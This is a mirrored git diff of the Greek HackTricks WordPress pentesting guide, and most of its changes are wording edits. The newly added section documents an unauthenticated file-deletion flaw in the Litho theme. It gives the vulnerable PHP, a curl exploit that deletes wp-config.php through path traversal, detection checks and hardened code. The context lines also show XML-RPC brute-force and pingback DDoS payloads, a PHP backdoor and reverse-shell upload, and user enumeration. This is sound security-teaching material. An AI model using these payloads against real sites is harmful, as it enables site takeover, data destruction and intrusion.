mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/network-services-pentesting/pentesting-web/wordpress.md
This commit is contained in:
parent
30a577ea2a
commit
df074506ba
@ -24,21 +24,21 @@
|
||||
- `/wp-login.php`
|
||||
- `xmlrpc.php` είναι ένα αρχείο που αντιπροσωπεύει μια δυνατότητα του WordPress που επιτρέπει τη μετάδοση δεδομένων με HTTP ως μηχανισμό μεταφοράς και XML ως μηχανισμό κωδικοποίησης. Αυτός ο τύπος επικοινωνίας έχει αντικατασταθεί από το WordPress [REST API](https://developer.wordpress.org/rest-api/reference).
|
||||
- Ο φάκελος `wp-content` είναι ο κύριος κατάλογος όπου αποθηκεύονται τα πρόσθετα και τα θέματα.
|
||||
- `wp-content/uploads/` Είναι ο κατάλογος όπου αποθηκεύονται οποιαδήποτε αρχεία έχουν ανέβει στην πλατφόρμα.
|
||||
- `wp-content/uploads/` Είναι ο κατάλογος όπου αποθηκεύονται όλα τα αρχεία που έχουν ανέβει στην πλατφόρμα.
|
||||
- `wp-includes/` Αυτός είναι ο κατάλογος όπου αποθηκεύονται τα βασικά αρχεία, όπως πιστοποιητικά, γραμματοσειρές, αρχεία JavaScript και widgets.
|
||||
- `wp-sitemap.xml` Στις εκδόσεις WordPress 5.5 και μεγαλύτερες, το WordPress δημιουργεί ένα αρχείο sitemap XML με όλες τις δημόσιες αναρτήσεις και τους δημόσια ερωτήσιμους τύπους αναρτήσεων και ταξινομήσεις.
|
||||
|
||||
**Post exploitation**
|
||||
|
||||
- Το αρχείο `wp-config.php` περιέχει πληροφορίες που απαιτούνται από το WordPress για να συνδεθεί στη βάση δεδομένων, όπως το όνομα της βάσης δεδομένων, τον διακομιστή της βάσης δεδομένων, το όνομα χρήστη και τον κωδικό πρόσβασης, τα κλειδιά και τα άλατα αυθεντικοποίησης, και το πρόθεμα του πίνακα της βάσης δεδομένων. Αυτό το αρχείο ρύθμισης μπορεί επίσης να χρησιμοποιηθεί για να ενεργοποιήσει τη λειτουργία DEBUG, η οποία μπορεί να είναι χρήσιμη στην αποσφαλμάτωση.
|
||||
- Το αρχείο `wp-config.php` περιέχει πληροφορίες που απαιτούνται από το WordPress για να συνδεθεί στη βάση δεδομένων, όπως το όνομα της βάσης δεδομένων, ο διακομιστής της βάσης δεδομένων, το όνομα χρήστη και ο κωδικός πρόσβασης, τα κλειδιά και οι αλάτες αυθεντικοποίησης, και το πρόθεμα του πίνακα της βάσης δεδομένων. Αυτό το αρχείο ρύθμισης μπορεί επίσης να χρησιμοποιηθεί για την ενεργοποίηση της λειτουργίας DEBUG, η οποία μπορεί να είναι χρήσιμη στην αποσφαλμάτωση.
|
||||
|
||||
### Users Permissions
|
||||
|
||||
- **Administrator**
|
||||
- **Editor**: Δημοσιεύει και διαχειρίζεται τις αναρτήσεις του και άλλων
|
||||
- **Editor**: Δημοσιεύει και διαχειρίζεται τις δικές του και άλλες αναρτήσεις
|
||||
- **Author**: Δημοσιεύει και διαχειρίζεται τις δικές του αναρτήσεις
|
||||
- **Contributor**: Γράφει και διαχειρίζεται τις αναρτήσεις του αλλά δεν μπορεί να τις δημοσιεύσει
|
||||
- **Subscriber**: Περιηγείται στις αναρτήσεις και επεξεργάζεται το προφίλ του
|
||||
- **Subscriber**: Περιηγείται σε αναρτήσεις και επεξεργάζεται το προφίλ του
|
||||
|
||||
## **Passive Enumeration**
|
||||
|
||||
@ -81,11 +81,11 @@ curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/supp
|
||||
|
||||
### Πρόσθετα και Θέματα
|
||||
|
||||
Πιθανότατα δεν θα μπορέσετε να βρείτε όλα τα πρόσθετα και θέματα που είναι διαθέσιμα. Για να τα ανακαλύψετε όλα, θα χρειαστεί να **εκτελέσετε ενεργά Brute Force μια λίστα από πρόσθετα και θέματα** (ελπίζουμε για εμάς ότι υπάρχουν αυτοματοποιημένα εργαλεία που περιέχουν αυτές τις λίστες).
|
||||
Πιθανότατα δεν θα μπορέσετε να βρείτε όλα τα πρόσθετα και θέματα που είναι δυνατά. Για να τα ανακαλύψετε όλα, θα χρειαστεί να **εκτελέσετε ενεργά Brute Force μια λίστα από πρόσθετα και θέματα** (ελπίζουμε για εμάς ότι υπάρχουν αυτοματοποιημένα εργαλεία που περιέχουν αυτές τις λίστες).
|
||||
|
||||
### Χρήστες
|
||||
|
||||
- **ID Brute:** Λαμβάνετε έγκυρους χρήστες από μια ιστοσελίδα WordPress εκτελώντας Brute Force στους IDs χρηστών:
|
||||
- **ID Brute:** Λαμβάνετε έγκυρους χρήστες από έναν ιστότοπο WordPress εκτελώντας Brute Force στους αναγνωριστικούς χρήστες:
|
||||
```bash
|
||||
curl -s -I -X GET http://blog.example.com/?author=1
|
||||
```
|
||||
@ -95,19 +95,19 @@ curl -s -I -X GET http://blog.example.com/?author=1
|
||||
```bash
|
||||
curl http://blog.example.com/wp-json/wp/v2/users
|
||||
```
|
||||
Ένα άλλο endpoint `/wp-json/` που μπορεί να αποκαλύψει κάποιες πληροφορίες σχετικά με τους χρήστες είναι:
|
||||
Ένα άλλο `/wp-json/` endpoint που μπορεί να αποκαλύψει κάποιες πληροφορίες σχετικά με τους χρήστες είναι:
|
||||
```bash
|
||||
curl http://blog.example.com/wp-json/oembed/1.0/embed?url=POST-URL
|
||||
```
|
||||
Σημειώστε ότι αυτό το endpoint εκθέτει μόνο χρήστες που έχουν κάνει μια ανάρτηση. **Μόνο πληροφορίες σχετικά με τους χρήστες που έχουν ενεργοποιήσει αυτή τη δυνατότητα θα παρέχονται**.
|
||||
|
||||
Επίσης σημειώστε ότι **/wp-json/wp/v2/pages** θα μπορούσε να διαρρεύσει διευθύνσεις IP.
|
||||
Επίσης, σημειώστε ότι **/wp-json/wp/v2/pages** θα μπορούσε να διαρρεύσει διευθύνσεις IP.
|
||||
|
||||
- **Αναγνώριση ονόματος χρήστη κατά την είσοδο**: Όταν συνδέεστε στο **`/wp-login.php`** το **μήνυμα** είναι **διαφορετικό** αν το υποδεικνυόμενο **όνομα χρήστη υπάρχει ή όχι**.
|
||||
- **Αναγνώριση ονομάτων χρηστών κατά την είσοδο**: Όταν συνδέεστε στο **`/wp-login.php`**, το **μήνυμα** είναι **διαφορετικό** αν το υποδεικνυόμενο **όνομα χρήστη υπάρχει ή όχι**.
|
||||
|
||||
### XML-RPC
|
||||
|
||||
Αν το `xml-rpc.php` είναι ενεργό, μπορείτε να εκτελέσετε brute-force πιστοποιητικών ή να το χρησιμοποιήσετε για να εκκινήσετε επιθέσεις DoS σε άλλους πόρους. (Μπορείτε να αυτοματοποιήσετε αυτή τη διαδικασία[ χρησιμοποιώντας αυτό](https://github.com/relarizky/wpxploit) για παράδειγμα).
|
||||
Εάν το `xml-rpc.php` είναι ενεργό, μπορείτε να εκτελέσετε brute-force για διαπιστευτήρια ή να το χρησιμοποιήσετε για να εκκινήσετε επιθέσεις DoS σε άλλους πόρους. (Μπορείτε να αυτοματοποιήσετε αυτή τη διαδικασία[ χρησιμοποιώντας αυτό](https://github.com/relarizky/wpxploit) για παράδειγμα).
|
||||
|
||||
Για να δείτε αν είναι ενεργό, προσπαθήστε να αποκτήσετε πρόσβαση στο _**/xmlrpc.php**_ και στείλτε αυτό το αίτημα:
|
||||
|
||||
@ -122,7 +122,7 @@ curl http://blog.example.com/wp-json/oembed/1.0/embed?url=POST-URL
|
||||
|
||||
**Bruteforce Διαπιστευτήρια**
|
||||
|
||||
**`wp.getUserBlogs`**, **`wp.getCategories`** ή **`metaWeblog.getUsersBlogs`** είναι μερικές από τις μεθόδους που μπορούν να χρησιμοποιηθούν για να γίνει bruteforce διαπιστευτηρίων. Αν μπορέσετε να βρείτε οποιαδήποτε από αυτές, μπορείτε να στείλετε κάτι σαν:
|
||||
**`wp.getUserBlogs`**, **`wp.getCategories`** ή **`metaWeblog.getUsersBlogs`** είναι μερικές από τις μεθόδους που μπορούν να χρησιμοποιηθούν για να κάνετε bruteforce διαπιστευτήρια. Αν μπορέσετε να βρείτε οποιαδήποτε από αυτές, μπορείτε να στείλετε κάτι σαν:
|
||||
```html
|
||||
<methodCall>
|
||||
<methodName>wp.getUsersBlogs</methodName>
|
||||
@ -134,7 +134,7 @@ curl http://blog.example.com/wp-json/oembed/1.0/embed?url=POST-URL
|
||||
```
|
||||
Το μήνυμα _"Λάθος όνομα χρήστη ή κωδικός"_ μέσα σε μια απάντηση κωδικού 200 θα πρέπει να εμφανίζεται αν τα διαπιστευτήρια δεν είναι έγκυρα.
|
||||
|
||||
 (2) (2) (2) (2) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (2) (4) (1).png>)
|
||||
 (2) (2) (2) (2) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (2) (4) (1).png>)
|
||||
|
||||
.png>)
|
||||
|
||||
@ -179,7 +179,7 @@ curl http://blog.example.com/wp-json/oembed/1.0/embed?url=POST-URL
|
||||
**DDoS ή σάρωση θυρών**
|
||||
|
||||
Αν μπορείτε να βρείτε τη μέθοδο _**pingback.ping**_ μέσα στη λίστα, μπορείτε να κάνετε το Wordpress να στείλει μια αυθαίρετη αίτηση σε οποιονδήποτε host/port.\
|
||||
Αυτό μπορεί να χρησιμοποιηθεί για να ζητήσετε **χιλιάδες** Wordpress **ιστοσελίδες** να **προσεγγίσουν** μία **τοποθεσία** (έτσι προκαλείται ένα **DDoS** σε αυτή την τοποθεσία) ή μπορείτε να το χρησιμοποιήσετε για να κάνετε το **Wordpress** να **σκανάρει** κάποιο εσωτερικό **δίκτυο** (μπορείτε να υποδείξετε οποιαδήποτε θύρα).
|
||||
Αυτό μπορεί να χρησιμοποιηθεί για να ζητήσετε **χιλιάδες** Wordpress **ιστότοπους** να **προσεγγίσουν** μία **τοποθεσία** (έτσι προκαλείται ένα **DDoS** σε αυτή την τοποθεσία) ή μπορείτε να το χρησιμοποιήσετε για να κάνετε το **Wordpress** να **σκανάρει** κάποιο εσωτερικό **δίκτυο** (μπορείτε να υποδείξετε οποιαδήποτε θύρα).
|
||||
```html
|
||||
<methodCall>
|
||||
<methodName>pingback.ping</methodName>
|
||||
@ -211,9 +211,9 @@ curl http://blog.example.com/wp-json/oembed/1.0/embed?url=POST-URL
|
||||
|
||||
Αυτό το αρχείο συνήθως υπάρχει κάτω από τη ρίζα της ιστοσελίδας Wordpress: **`/wp-cron.php`**\
|
||||
Όταν αυτό το αρχείο είναι **προσβάσιμο**, εκτελείται ένα "**βαρύ**" MySQL **ερώτημα**, οπότε θα μπορούσε να χρησιμοποιηθεί από **επιτιθέμενους** για να **προκαλέσει** μια **DoS**.\
|
||||
Επίσης, από προεπιλογή, το `wp-cron.php` καλείται σε κάθε φόρτωση σελίδας (κάθε φορά που ένας πελάτης ζητά οποιαδήποτε σελίδα Wordpress), γεγονός που σε ιστοσελίδες με υψηλή επισκεψιμότητα μπορεί να προκαλέσει προβλήματα (DoS).
|
||||
Επίσης, από προεπιλογή, το `wp-cron.php` καλείται σε κάθε φόρτωση σελίδας (κάθε φορά που ένας πελάτης ζητά οποιαδήποτε σελίδα Wordpress), το οποίο σε ιστοσελίδες με υψηλή επισκεψιμότητα μπορεί να προκαλέσει προβλήματα (DoS).
|
||||
|
||||
Συνιστάται να απενεργοποιήσετε το Wp-Cron και να δημιουργήσετε μια πραγματική cronjob μέσα στον διακομιστή που να εκτελεί τις απαραίτητες ενέργειες σε τακτά χρονικά διαστήματα (χωρίς να προκαλεί προβλήματα).
|
||||
Συνιστάται να απενεργοποιήσετε το Wp-Cron και να δημιουργήσετε μια πραγματική cronjob μέσα στον διακομιστή που εκτελεί τις απαραίτητες ενέργειες σε τακτά χρονικά διαστήματα (χωρίς να προκαλεί προβλήματα).
|
||||
|
||||
### /wp-json/oembed/1.0/proxy - SSRF
|
||||
|
||||
@ -269,7 +269,7 @@ to get a session.
|
||||
### PHP plugin
|
||||
|
||||
Ενδέχεται να είναι δυνατή η μεταφόρτωση αρχείων .php ως plugin.\
|
||||
Δημιουργήστε την php backdoor σας χρησιμοποιώντας για παράδειγμα:
|
||||
Δημιουργήστε το php backdoor σας χρησιμοποιώντας για παράδειγμα:
|
||||
|
||||
.png>)
|
||||
|
||||
@ -289,7 +289,7 @@ to get a session.
|
||||
|
||||
.png>)
|
||||
|
||||
Αποκτήστε πρόσβαση σε αυτό και θα δείτε τη διεύθυνση URL για να εκτελέσετε το reverse shell:
|
||||
Αποκτήστε πρόσβαση σε αυτό και θα δείτε το URL για να εκτελέσετε το reverse shell:
|
||||
|
||||
.png>)
|
||||
|
||||
@ -338,7 +338,7 @@ mysql -u <USERNAME> --password=<PASSWORD> -h localhost -e "use wordpress;UPDATE
|
||||
|
||||
- **`wp_ajax`**
|
||||
|
||||
Ένας από τους τρόπους με τους οποίους ένα plugin μπορεί να εκθέσει συναρτήσεις στους χρήστες είναι μέσω των AJAX handlers. Αυτά μπορεί να περιέχουν σφάλματα λογικής, εξουσιοδότησης ή ταυτοποίησης. Επιπλέον, είναι αρκετά συχνό αυτά τα functions να βασίζονται τόσο στην ταυτοποίηση όσο και στην εξουσιοδότηση στην ύπαρξη ενός wordpress nonce το οποίο **οποιοσδήποτε χρήστης που έχει ταυτοποιηθεί στην εγκατάσταση του Wordpress μπορεί να έχει** (ανεξάρτητα από τον ρόλο του).
|
||||
Ένας από τους τρόπους με τους οποίους ένα plugin μπορεί να εκθέσει συναρτήσεις στους χρήστες είναι μέσω των AJAX handlers. Αυτά μπορεί να περιέχουν σφάλματα λογικής, εξουσιοδότησης ή ταυτοποίησης. Επιπλέον, είναι συχνό το φαινόμενο αυτές οι συναρτήσεις να βασίζονται τόσο στην ταυτοποίηση όσο και στην εξουσιοδότηση στην ύπαρξη ενός wordpress nonce το οποίο **οποιοσδήποτε χρήστης που έχει ταυτοποιηθεί στην εγκατάσταση του Wordpress μπορεί να έχει** (ανεξάρτητα από τον ρόλο του).
|
||||
|
||||
Αυτές είναι οι συναρτήσεις που μπορούν να χρησιμοποιηθούν για να εκθέσουν μια λειτουργία σε ένα plugin:
|
||||
```php
|
||||
@ -348,7 +348,7 @@ add_action( 'wp_ajax_nopriv_action_name', array(&$this, 'function_name'));
|
||||
**Η χρήση του `nopriv` καθιστά το endpoint προσβάσιμο από οποιονδήποτε χρήστη (ακόμα και από μη αυθεντικοποιημένους).**
|
||||
|
||||
> [!CAUTION]
|
||||
> Επιπλέον, αν η συνάρτηση απλώς ελέγχει την εξουσιοδότηση του χρήστη με τη συνάρτηση `wp_verify_nonce`, αυτή η συνάρτηση ελέγχει απλώς αν ο χρήστης είναι συνδεδεμένος, συνήθως δεν ελέγχει τον ρόλο του χρήστη. Έτσι, οι χρήστες με χαμηλά προνόμια μπορεί να έχουν πρόσβαση σε ενέργειες με υψηλά προνόμια.
|
||||
> Επιπλέον, αν η συνάρτηση απλώς ελέγχει την εξουσιοδότηση του χρήστη με τη συνάρτηση `wp_verify_nonce`, αυτή η συνάρτηση απλώς ελέγχει αν ο χρήστης είναι συνδεδεμένος, συνήθως δεν ελέγχει τον ρόλο του χρήστη. Έτσι, οι χρήστες με χαμηλά προνόμια μπορεί να έχουν πρόσβαση σε ενέργειες με υψηλά προνόμια.
|
||||
|
||||
- **REST API**
|
||||
|
||||
@ -368,13 +368,89 @@ $this->namespace, '/get/', array(
|
||||
|
||||
- **Άμεση πρόσβαση στο αρχείο php**
|
||||
|
||||
Φυσικά, το Wordpress χρησιμοποιεί PHP και τα αρχεία μέσα στα plugins είναι άμεσα προσβάσιμα από το διαδίκτυο. Έτσι, σε περίπτωση που ένα plugin εκθέτει οποιαδήποτε ευάλωτη λειτουργικότητα που ενεργοποιείται απλώς με την πρόσβαση στο αρχείο, θα είναι εκμεταλλεύσιμο από οποιονδήποτε χρήστη.
|
||||
Φυσικά, το Wordpress χρησιμοποιεί PHP και τα αρχεία μέσα σε plugins είναι άμεσα προσβάσιμα από το διαδίκτυο. Έτσι, σε περίπτωση που ένα plugin εκθέτει οποιαδήποτε ευάλωτη λειτουργικότητα που ενεργοποιείται απλώς με την πρόσβαση στο αρχείο, θα είναι εκμεταλλεύσιμο από οποιονδήποτε χρήστη.
|
||||
|
||||
### Μη αυθεντικοποιημένη αυθαίρετη διαγραφή αρχείων μέσω wp_ajax_nopriv (Θέμα Litho <= 3.0)
|
||||
|
||||
Τα θέματα και τα plugins του WordPress εκθέτουν συχνά χειριστές AJAX μέσω των hooks `wp_ajax_` και `wp_ajax_nopriv_`. Όταν χρησιμοποιείται η παραλλαγή **_nopriv_**, **η callback γίνεται προσβάσιμη από μη αυθεντικοποιημένους επισκέπτες**, οπότε οποιαδήποτε ευαίσθητη ενέργεια πρέπει επιπλέον να υλοποιεί:
|
||||
|
||||
1. Έναν **έλεγχο ικανοτήτων** (π.χ. `current_user_can()` ή τουλάχιστον `is_user_logged_in()`), και
|
||||
2. Ένα **CSRF nonce** που επικυρώνεται με `check_ajax_referer()` / `wp_verify_nonce()`, και
|
||||
3. **Αυστηρή απολύμανση / επικύρωση εισόδου**.
|
||||
|
||||
Το πολυλειτουργικό θέμα Litho (< 3.1) ξέχασε αυτούς τους 3 ελέγχους στη λειτουργία *Αφαίρεση Οικογένειας Γραμματοσειράς* και κατέληξε να αποστείλει τον παρακάτω κώδικα (απλοποιημένο):
|
||||
```php
|
||||
function litho_remove_font_family_action_data() {
|
||||
if ( empty( $_POST['fontfamily'] ) ) {
|
||||
return;
|
||||
}
|
||||
$fontfamily = str_replace( ' ', '-', $_POST['fontfamily'] );
|
||||
$upload_dir = wp_upload_dir();
|
||||
$srcdir = untrailingslashit( wp_normalize_path( $upload_dir['basedir'] ) ) . '/litho-fonts/' . $fontfamily;
|
||||
$filesystem = Litho_filesystem::init_filesystem();
|
||||
|
||||
if ( file_exists( $srcdir ) ) {
|
||||
$filesystem->delete( $srcdir, FS_CHMOD_DIR );
|
||||
}
|
||||
die();
|
||||
}
|
||||
add_action( 'wp_ajax_litho_remove_font_family_action_data', 'litho_remove_font_family_action_data' );
|
||||
add_action( 'wp_ajax_nopriv_litho_remove_font_family_action_data', 'litho_remove_font_family_action_data' );
|
||||
```
|
||||
Issues introduced by this snippet:
|
||||
|
||||
* **Μη εξουσιοδοτημένη πρόσβαση** – το hook `wp_ajax_nopriv_` είναι καταχωρημένο.
|
||||
* **Καμία έλεγχος nonce / ικανότητας** – οποιοσδήποτε επισκέπτης μπορεί να χτυπήσει το endpoint.
|
||||
* **Καμία απολύμανση διαδρομής** – η συμβολοσειρά `fontfamily` που ελέγχεται από τον χρήστη συνενώνεται με μια διαδρομή συστήματος αρχείων χωρίς φιλτράρισμα, επιτρέποντας κλασική διαδρομή `../../`.
|
||||
|
||||
#### Εκμετάλλευση
|
||||
|
||||
Ένας επιτιθέμενος μπορεί να διαγράψει οποιοδήποτε αρχείο ή φάκελο **κάτω από τον βασικό κατάλογο uploads** (κανονικά `<wp-root>/wp-content/uploads/`) στέλνοντας ένα μόνο HTTP POST αίτημα:
|
||||
```bash
|
||||
curl -X POST https://victim.com/wp-admin/admin-ajax.php \
|
||||
-d 'action=litho_remove_font_family_action_data' \
|
||||
-d 'fontfamily=../../../../wp-config.php'
|
||||
```
|
||||
Γιατί το `wp-config.php` βρίσκεται εκτός *uploads*, τέσσερις ακολουθίες `../` είναι αρκετές σε μια προεπιλεγμένη εγκατάσταση. Η διαγραφή του `wp-config.php` αναγκάζει το WordPress να εισέλθει στον *οδηγό εγκατάστασης* κατά την επόμενη επίσκεψη, επιτρέποντας μια πλήρη κατάληψη του ιστότοπου (ο επιτιθέμενος απλώς παρέχει μια νέα ρύθμιση DB και δημιουργεί έναν χρήστη διαχειριστή).
|
||||
|
||||
Άλλοι σημαντικοί στόχοι περιλαμβάνουν τα αρχεία `.php` των plugin/θέματος (για να σπάσουν τα plugins ασφαλείας) ή τους κανόνες `.htaccess`.
|
||||
|
||||
#### Λίστα ελέγχου ανίχνευσης
|
||||
|
||||
* Οποιοδήποτε `add_action( 'wp_ajax_nopriv_...')` callback που καλεί βοηθούς συστήματος αρχείων (`copy()`, `unlink()`, `$wp_filesystem->delete()`, κ.λπ.).
|
||||
* Συγκόλληση μη απολυμασμένων εισροών χρηστών σε διαδρομές (αναζητήστε `$_POST`, `$_GET`, `$_REQUEST`).
|
||||
* Απουσία `check_ajax_referer()` και `current_user_can()`/`is_user_logged_in()`.
|
||||
|
||||
#### Σκληραγώγηση
|
||||
```php
|
||||
function secure_remove_font_family() {
|
||||
if ( ! is_user_logged_in() ) {
|
||||
wp_send_json_error( 'forbidden', 403 );
|
||||
}
|
||||
check_ajax_referer( 'litho_fonts_nonce' );
|
||||
|
||||
$fontfamily = sanitize_file_name( wp_unslash( $_POST['fontfamily'] ?? '' ) );
|
||||
$srcdir = trailingslashit( wp_upload_dir()['basedir'] ) . 'litho-fonts/' . $fontfamily;
|
||||
|
||||
if ( ! str_starts_with( realpath( $srcdir ), realpath( wp_upload_dir()['basedir'] ) ) ) {
|
||||
wp_send_json_error( 'invalid path', 400 );
|
||||
}
|
||||
// … proceed …
|
||||
}
|
||||
add_action( 'wp_ajax_litho_remove_font_family_action_data', 'secure_remove_font_family' );
|
||||
// 🔒 NO wp_ajax_nopriv_ registration
|
||||
```
|
||||
> [!TIP]
|
||||
> **Πάντα** να θεωρείτε οποιαδήποτε λειτουργία εγγραφής/διαγραφής στο δίσκο ως προνομιακή και να ελέγχετε διπλά:
|
||||
> • Αυθεντικοποίηση • Εξουσιοδότηση • Nonce • Καθαρισμός εισόδου • Περιορισμός διαδρομής (π.χ. μέσω `realpath()` συν `str_starts_with()`).
|
||||
|
||||
---
|
||||
|
||||
## Προστασία WordPress
|
||||
|
||||
### Τακτικές Ενημερώσεις
|
||||
|
||||
Βεβαιωθείτε ότι το WordPress, τα plugins και τα θέματα είναι ενημερωμένα. Επίσης, επιβεβαιώστε ότι η αυτόματη ενημέρωση είναι ενεργοποιημένη στο wp-config.php:
|
||||
Βεβαιωθείτε ότι το WordPress, τα πρόσθετα και τα θέματα είναι ενημερωμένα. Επίσης, επιβεβαιώστε ότι η αυτόματη ενημέρωση είναι ενεργοποιημένη στο wp-config.php:
|
||||
```bash
|
||||
define( 'WP_AUTO_UPDATE_CORE', true );
|
||||
add_filter( 'auto_update_plugin', '__return_true' );
|
||||
@ -396,4 +472,8 @@ add_filter( 'auto_update_theme', '__return_true' );
|
||||
- **Περιορίστε τις προσπάθειες σύνδεσης** για να αποτρέψετε επιθέσεις Brute Force
|
||||
- Μετονομάστε το αρχείο **`wp-admin.php`** και επιτρέψτε πρόσβαση μόνο εσωτερικά ή από συγκεκριμένες διευθύνσεις IP.
|
||||
|
||||
## Αναφορές
|
||||
|
||||
- [Unauthenticated Arbitrary File Deletion Vulnerability in Litho Theme](https://patchstack.com/articles/unauthenticated-arbitrary-file-delete-vulnerability-in-litho-the/)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
Loading…
x
Reference in New Issue
Block a user